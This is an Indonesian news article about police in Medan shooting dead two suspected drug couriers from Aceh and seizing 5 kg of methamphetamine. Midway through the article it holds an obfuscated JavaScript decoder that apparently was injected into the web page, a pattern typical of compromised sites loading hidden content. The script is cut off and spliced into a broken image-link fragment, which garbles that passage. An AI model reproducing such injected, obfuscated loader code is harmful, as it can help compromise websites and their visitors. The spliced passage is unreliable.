CALEG GOLKAR

Dua Bandar Sabu Aceh Ditembak Mati, Satu Di Antaranya Panglima GAM

MEDAN (medanbicara.com) – Aparat Ditresnarkoba Polda Sumut menembak mati dua dari 3 tersangka bandar narkoba asal Aceh dengan barang bukti 5 kg Sabu di kawasan Tol Tanjung Mulia Medan Deli,  Sabtu (3/5) malam.

Keduanya terpaksa ditembak mati petugas karena berusaha melakukan perlawanan.

Kapolda Sumut Irjen Pol Rycko Amelza Dahniel didampingi Direktur Ditres Narkoba Polda Sumut, Minggu (4/5) sore di RS Bhayangkara Medan memaparkan, pengungkapan kasus peredaran sabu asal Malaysia melalui jaringan Aceh tersebut diungkap pihaknya setelah mendapatkan informasi adanya proses pengiriman narkoba jenis sabu dari provinsi NAD menuju Sumut.

Dari informasi tersebut pihak kepolisian yang melakukan penyidikan dari kawasan Besitang, Kabupaten Langkat kemudian mengidentifikasi satu unit mobil jenis Honda Jazz plat nomor BK 38 DI yang melaju menuju arah Kota Medan melalui jalur Tol yang dicurigai sebagai pelaku yang membawa narkoba jenis sabu.

Pengejaran pun dilakukan sejumlah personel yang telah mengikuti mobil tersebut dari Besitang hingga ke kawasan Tol Tanjung Mulia Medan Deli. Di lokasi tersebut mobil petugas langsung melakukan upaya penghadangan terhadap mobil yang dicurigai, namun terjadi perlawanan hingga sempat terjadi aksi kejar.

Persis di pintu Tol, dua dari ketiga pelaku berusaha melawanan dan menyerang petugas yang melakukan penggeledahan menggunakan sepucuk senjata api laras pendek hingga akhirnya ditembak mati. Sedangkan satu tersangka lain diamankan bersama barang bukti narkoba jenis sabu seberat 5 Kg yang disimpan di dalam mobil.

"Kedua pelaku terpaksa dilakukan tindakan tegas dengan tembakan hingga akhirnya meninggal dunia karena berusaha melakukan perlawanan. Sedangkan satu orang lagi diamankan bersama barang bukti 5 Kg Sabu yang disimpan di dalam mobil," sebut Rycko.

function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaandar-sabu-aceh-ditembak-mati-satu-di-antaranya-panglima-gam/attachment/img_20170604_140354-1052x780" rel="attachment wp-att-6929">IMG_20170604_140354-1052x780

Ketiga tersangka yang disebut-sebut berhubungan dengan anggota GAM tersebut di antaranya adalah Mahdi alias Panglima Mahdi (43) warga asal Dusun Peutek Desa Gureb Blang, Kecamatan Idi Reyeuk,  Nad yang tewas ditembak petugas. 

Tersangka lainnya adalah, Zahri (39) warga asal Desa Kambam, Kecamatan Muara Batu, NAD yang juga tewas ditembak mati petugas.

"Sedangkan satu tersangka lagi bernama Ridwan (43) warga asal Dusun Ingin Jaya, Desa Uram Jalan, Kecamatan Banda Alam, NAD. Ketiganya ini merupakan jaringan peredaran asal Aceh yang membawa sabu asal Malaysia melalui perairan dan membawanya selanjutnya ke Medan, " ungkap Rycko.

Lebih lanjut disampaikan Rycko,  pengungkapan kasus tersebut juga merupakan pengembangan dari pengungkapan kasus sebelumnya pada bulan Mei lalu. 

Dari pengungkapan sebelumnya pihaknya menyebutkan telah mengamanjan 7 orang tersangka dengan barang bukti lebih kurang 10 Kg Sabu yang juga diotaki jaringan Aceh. (emzu)

Mungkin Anda juga menyukai